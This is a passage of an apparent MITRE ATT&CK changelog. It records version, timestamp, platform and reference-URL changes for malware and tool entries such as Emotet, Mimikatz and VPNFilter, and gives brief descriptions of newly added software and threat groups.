description[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1

[S0367] Emotet

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + +

Old Description
New Description
t1[Emotet](https://attack.mitre.org/software/S0367) is a modult1[Emotet](https://attack.mitre.org/software/S0367) is a modul
>ar malware variant which is primarily used as a downloader f>ar malware variant which is primarily used as a downloader f
>or other malware variants such as [TrickBot](https://attack.>or other malware variants such as [TrickBot](https://attack.
>mitre.org/software/S0266) and [IcedID](https://attack.mitre.>mitre.org/software/S0266) and [IcedID](https://attack.mitre.
>org/software/S0483). Emotet first emerged in June 2014 and h>org/software/S0483). Emotet first emerged in June 2014, init
>as been primarily used to target the banking sector. (Citati>ially targeting the financial sector, and has expanded to mu
>on: Trend Micro Banking Malware Jan 2019)>ltiple verticals over time.(Citation: Trend Micro Banking Ma
 >lware Jan 2019)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-29 19:44:43.868000+00:002024-07-09 16:04:18.570000+00:00
description[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019)
x_mitre_version1.51.6

[S0363] Empire

Current version: 1.8

Version changed from: 1.7 → 1.8

Details
values_changed
STIX FieldOld valueNew Value
modified2023-07-27 15:44:31.364000+00:002024-09-25 20:32:02.152000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.71.8

[S0396] EvilBunny

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-02 00:14:13.954000+00:002024-08-05 18:21:34.265000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.21.3

[S0026] GLOOXMAIL

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-30 16:42:52.248000+00:002024-08-28 14:16:00.884000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2

[S0249] Gold Dragon

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-11 21:45:35.889000+00:002024-05-06 20:40:17+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.21.3

[S0483] IcedID

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Jorge Orchilles', 'Matt Brenton', 'Zaw Min Htun, @Z3TAE']
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:16:08.503000+00:002024-10-28 19:20:20.633000+00:00
x_mitre_version1.11.2

[S0357] Impacket

Current version: 1.7

Version changed from: 1.6 → 1.7

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-14 17:27:34.759000+00:002024-10-07 19:08:53.273000+00:00
x_mitre_version1.61.7

[S0359] Nltest

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-09 18:03:17.167000+00:002024-09-25 20:27:04.356000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3

[S0428] PoetRAT

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-22 05:09:38.370000+00:002024-08-05 18:24:31.652000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.22.3

[S0029] PsExec

Current version: 1.7

Version changed from: 1.6 → 1.7

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 03:50:11+00:002024-09-25 20:31:21.768000+00:00
x_mitre_version1.61.7

[S0650] QakBot

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-12-05 20:22:37.368000+00:002024-09-17 16:10:03.901000+00:00
x_mitre_version1.21.3

[S0262] QuasarRAT

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-08-02 15:36:30.238000+00:002024-05-07 19:10:03.843000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version2.02.1

[S0364] RawDisk

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-07-28 18:55:35.991000+00:002024-08-14 15:22:38.134000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1

[S0125] Remsec

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:16:18.864000+00:002024-08-05 18:23:59.724000+00:00
x_mitre_version1.31.4

[S0692] SILENTTRINITY

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 19:27:39.308000+00:002024-09-23 14:18:53.140000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
x_mitre_contributors[0]Daniel Acevedo, @darmad0, ARMADODaniel Acevedo, Blackbot

[S0645] Wevtutil

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-13 17:45:16.377000+00:002024-09-25 20:32:25.006000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2

[S0095] ftp

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-07 22:20:18.809000+00:002024-08-14 15:21:48.196000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version2.02.1

[S0032] gh0st RAT

Current version: 3.3

Version changed from: 3.2 → 3.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-06 19:00:45.557000+00:002024-05-07 19:07:45.403000+00:00
x_mitre_version3.23.3
Patches

[S0677] AADInternals

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 00:59:18.335000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_platforms[2]Office 365Identity Provider
x_mitre_platforms[1]Azure ADOffice Suite

[S0373] Astaroth

Current version: 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:58:17.763000+00:002024-09-25 15:03:49.408000+00:00
external_references[2]['description']Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.
external_references[2]['url']https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/

[S0069] BLACKCOFFEE

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-30 14:58:42.298000+00:002024-09-04 17:04:35.670000+00:00
external_references[2]['url']https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdfhttps://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
x_mitre_attack_spec_version2.1.03.2.0

[S0144] ChChes

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-23 15:14:18.599000+00:002024-09-12 19:32:28.615000+00:00
external_references[4]['description']Carr, N.. (2017, April 6). Retrieved June 29, 2017.Carr, N.. (2017, April 6). Retrieved September 12, 2024.
external_references[4]['url']https://twitter.com/ItsReallyNick/status/850105140589633536https://x.com/ItsReallyNick/status/850105140589633536
x_mitre_attack_spec_version3.1.03.2.0

[S1023] CreepyDrive

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-08-10 13:07:11.790000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_platforms[1]Office 365Office Suite

[S0255] DDKONG

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['DDKONG']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-04 21:38:11.979000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'DDKONG', 'description': '(Citation: Rancor Unit42 June 2018)'}

[S1111] DarkGate

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-01 21:19:06.580000+00:002024-09-29 10:22:45.776000+00:00
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsPhyo Paing Htun (ChiLai)

[S0673] DarkWatchman

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:40:18.361000+00:002024-08-26 16:28:39.922000+00:00
external_references[1]['url']https://www.prevailion.com/darkwatchman-new-fileless-techniques/https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/

[S0182] FinFisher

Current version: 1.4

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-02 15:47:13.329000+00:002024-09-12 17:23:46.687000+00:00
external_references[3]['description']FinFisher. (n.d.). Retrieved December 20, 2017.FinFisher. (n.d.). Retrieved September 12, 2024.
external_references[3]['url']http://www.finfisher.com/FinFisher/index.htmlhttps://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html
x_mitre_attack_spec_version2.1.03.2.0

[S0696] Flagpro

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-04-01 14:41:47.579000+00:002024-09-04 21:39:21.144000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Flagpro ', 'description': '(Citation: NTT Security Flagpro new December 2021)'}

[S0632] GrimAgent

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-07-29 19:44:21.016000+00:002024-09-19 14:32:39.426000+00:00
external_references[1]['description']Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021.Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.
external_references[1]['url']https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewerhttps://www.group-ib.com/blog/grimagent/
x_mitre_attack_spec_version2.1.03.2.0

[S0214] HAPPYWORK

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['HAPPYWORK']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-04 20:44:43.949000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'HAPPYWORK', 'description': '(Citation: FireEye APT37 Feb 2018)'}

[S0163] Janicab

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-19 18:00:00.645000+00:002024-09-12 19:07:36.511000+00:00
external_references[1]['url']http://www.thesafemac.com/new-signed-malware-called-janicab/https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/
x_mitre_attack_spec_version2.1.03.2.0

[S0250] Koadic

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-06 19:32:33.511000+00:002024-09-27 18:36:30.831000+00:00
external_references[4]['description']Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.
external_references[4]['url']https://github.com/zerosum0x0/koadichttps://github.com/offsecginger/koadic
x_mitre_attack_spec_version2.1.03.2.0

[S0413] MailSniper

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-30 17:01:41.302000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsAzure AD

[S0339] Micropsia

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:43:46.245000+00:002024-10-04 11:08:25.923000+00:00
external_references[3]['url']https://blog.radware.com/security/2018/07/micropsia-malware/https://www.radware.com/blog/security/2018/07/micropsia-malware/

[S0002] Mimikatz

Current version: 1.9

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-09 21:31:30.227000+00:002024-09-25 20:34:58.387000+00:00

[S0133] Miner-C

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['Miner-C']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-12 15:19:00.433000+00:00
external_references[1]['description']Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.
external_references[1]['url']http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtmlhttps://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml
x_mitre_attack_spec_version2.1.03.2.0

[S0336] NanoCore

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-30 17:10:28.673000+00:002024-09-25 15:05:04.341000+00:00
external_references[3]['description']Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.
external_references[3]['url']https://cofense.com/nanocore-rat-resurfaced-sewers/https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/
x_mitre_attack_spec_version2.1.03.2.0

[S0012] PoisonIvy

Current version: 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-14 19:16:01.583000+00:002024-09-19 14:30:03.923000+00:00
external_references[5]['description']FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.
external_references[5]['url']https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdfhttps://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf

[S0684] ROADTools

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
x_mitre_platforms['Identity Provider']
values_changed
STIX FieldOld valueNew Value
modified2022-04-01 13:27:48.378000+00:002024-09-16 17:02:37.377000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[S0153] RedLeaves

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:17:52.256000+00:002024-09-12 19:32:28.614000+00:00
external_references[3]['description']Carr, N.. (2017, April 6). Retrieved June 29, 2017.Carr, N.. (2017, April 6). Retrieved September 12, 2024.
external_references[3]['url']https://twitter.com/ItsReallyNick/status/850105140589633536https://x.com/ItsReallyNick/status/850105140589633536

[S0358] Ruler

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2020-06-22 21:31:54.771000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_platforms[1]Office 365Office Suite

[S0217] SHUTTERSPEED

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['SHUTTERSPEED']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-04 21:36:27.669000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'SHUTTERSPEED', 'description': '(Citation: FireEye APT37 Feb 2018)'}

[S0533] SLOTHFULMEDIA

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-13 20:44:14.476000+00:002024-09-12 19:39:44.514000+00:00
external_references[4]['description']Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved November 16, 2020.Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.
external_references[4]['url']https://twitter.com/craiu/status/1311920398259367942https://x.com/craiu/status/1311920398259367942
external_references[7]['description']ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved November 17, 2020.ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.
external_references[7]['url']https://twitter.com/ESETresearch/status/1311762215490461696https://x.com/ESETresearch/status/1311762215490461696
external_references[5]['description']USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved November 16, 2020.USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.
external_references[5]['url']https://twitter.com/CNMF_CyberAlert/status/1311743710997159953https://x.com/CNMF_CyberAlert/status/1311743710997159953
x_mitre_attack_spec_version2.1.03.2.0

[S0386] Ursnif

Current version: 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 22:18:21.527000+00:002024-09-12 19:50:37.023000+00:00
external_references[6]['description']NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.
external_references[6]['url']https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnifhttps://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif

[S0219] WINERACK

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['WINERACK']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-04 21:37:24.766000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'WINERACK', 'description': '(Citation: FireEye APT37 Feb 2018)'}

[S0005] Windows Credential Editor

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-30 18:28:34.296000+00:002024-09-12 15:17:22.004000+00:00
external_references[1]['description']Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.
external_references[1]['url']http://www.ampliasecurity.com/research/wcefaq.htmlhttps://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html
x_mitre_attack_spec_version2.1.03.2.0

[S0191] Winexe

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['Winexe']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2018-10-17 00:14:20.652000+00:002024-09-04 21:09:10.255000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Winexe', 'description': '(Citation: Winexe Github Sept 2013) (Citation: Überwachung APT28 Forfiles June 2015)'}

mobile-attack

Patches

[S0422] Anubis

Current version: 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-09-20 13:50:01.923000+00:002024-09-25 15:03:05.100000+00:00
external_references[1]['description']M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved April 8, 2020.M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved September 25, 2024.
external_references[1]['url']https://cofense.com/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/https://web.archive.org/web/20231222134431/https://cofense.com/blog/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/
x_mitre_attack_spec_version2.1.03.2.0

[S0522] Exobot

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-12-07 14:28:31.876000+00:002024-10-01 15:53:53.833000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Proofpoint-Marcher', 'description': 'Proofpoint. (2017, November 3). Credential phishing and an Android banking Trojan combine in Austrian mobile attacks. Retrieved July 6, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks'}
x_mitre_aliasesMarcher

[S0182] FinFisher

Current version: 1.4

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-02 15:47:13.329000+00:002024-09-12 17:23:46.687000+00:00
external_references[3]['description']FinFisher. (n.d.). Retrieved December 20, 2017.FinFisher. (n.d.). Retrieved September 12, 2024.
external_references[3]['url']http://www.finfisher.com/FinFisher/index.htmlhttps://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html
x_mitre_attack_spec_version2.1.03.2.0
Deprecations

[S0317] Marcher

Current version: 1.0

Description: [Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['Marcher']
x_mitre_deprecatedTrue
values_changed
STIX FieldOld valueNew Value
modified2022-10-24 15:09:07.609000+00:002024-09-30 18:57:47.266000+00:00
x_mitre_attack_spec_version2.1.03.2.0

ics-attack

New Software

[S1157] Fuxnet

Current version: 1.0

Description: [Fuxnet](https://attack.mitre.org/software/S1157) is malware designed to impact the industrial network infrastructure managing control system sensors for utility operations in Moscow. [Fuxnet](https://attack.mitre.org/software/S1157) is linked to an entity referred to as the Blackjack hacking group, which is assessed to be linked to Ukrainian intelligence services.(Citation: Claroty Fuxnet 2024)

Major Version Changes

[S1010] VPNFilter

Current version: 2.0

Version changed from: 1.1 → 2.0

+ + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[VPNFilter](https://attack.mitre.org/software/S1010) is a mut1[VPNFilter](https://attack.mitre.org/software/S1010) is a mu
>lti-stage, modular platform with versatile capabilities to s>lti-stage, modular platform with versatile capabilities to s
>upport both intelligence-collection and destructive cyber at>upport both intelligence-collection and destructive cyber at
>tack operations. [VPNFilter](https://attack.mitre.org/softwa>tack operations. [VPNFilter](https://attack.mitre.org/softwa
>re/S1010) modules such as its packet sniffer ('ps') can coll>re/S1010) modules such as its packet sniffer ('ps') can coll
>ect traffic that passes through an infected device, allowing>ect traffic that passes through an infected device, allowing
> the theft of website credentials and monitoring of Modbus S> the theft of website credentials and monitoring of Modbus S
>CADA protocols. (Citation: William Largent June 2018) (Citat>CADA protocols. (Citation: William Largent June 2018) (Citat
>ion: Carl Hurd March 2019)>ion: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.
 >org/software/S1010) was assessed to be replaced by [Sandworm
 > Team](https://attack.mitre.org/groups/G0034) with [Cyclops 
 >Blink](https://attack.mitre.org/software/S0687) starting in 
 >2019.(Citation: NCSC CISA Cyclops Blink Advisory February 20
 >22)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_platforms['Network', 'Linux']
values_changed
STIX FieldOld valueNew Value
modified2024-03-07 18:57:15.800000+00:002024-08-15 22:01:22.169000+00:00
description[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019)[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)
x_mitre_version1.12.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'NCSC CISA Cyclops Blink Advisory February 2022', 'description': 'NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.', 'url': 'https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter'}
x_mitre_domainsenterprise-attack

Groups

enterprise-attack

New Groups

[G1030] Agrius

Current version: 1.0

Description: [Agrius](https://attack.mitre.org/groups/G1030) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.(Citation: SentinelOne Agrius 2021)(Citation: CheckPoint Agrius 2023) Public reporting has linked [Agrius](https://attack.mitre.org/groups/G1030) to Iran's Ministry of Intelligence and Security (MOIS).(Citation: Microsoft Iran Cyber 2023)

[G1034] Daggerfly

Current version: 1.0

Description: [Daggerfly](https://attack.mitre.org/groups/G1034) is a People's Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://attack.mitre.org/groups/G1034) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://attack.mitre.org/groups/G1034) is associated with exclusive use of [MgBot](https://attack.mitre.org/software/S1146) malware and is noted for several potential supply chain infection campaigns.(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)(Citation: ESET EvasivePanda 2024)

[G1032] INC Ransom

Current version: 1.0

Description: [INC Ransom](https://attack.mitre.org/groups/G1032) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://attack.mitre.org/software/S1139) that has been active since at least July 2023. [INC Ransom](https://attack.mitre.org/groups/G1032) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SentinelOne INC Ransomware)

[G1036] Moonstone Sleet

Current version: 1.0

Description: [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://attack.mitre.org/groups/G0032), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.(Citation: Microsoft Moonstone Sleet 2024)

[G1040] Play

Current version: 1.0

Description: [Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)

[G1039] RedCurl

Current version: 1.0

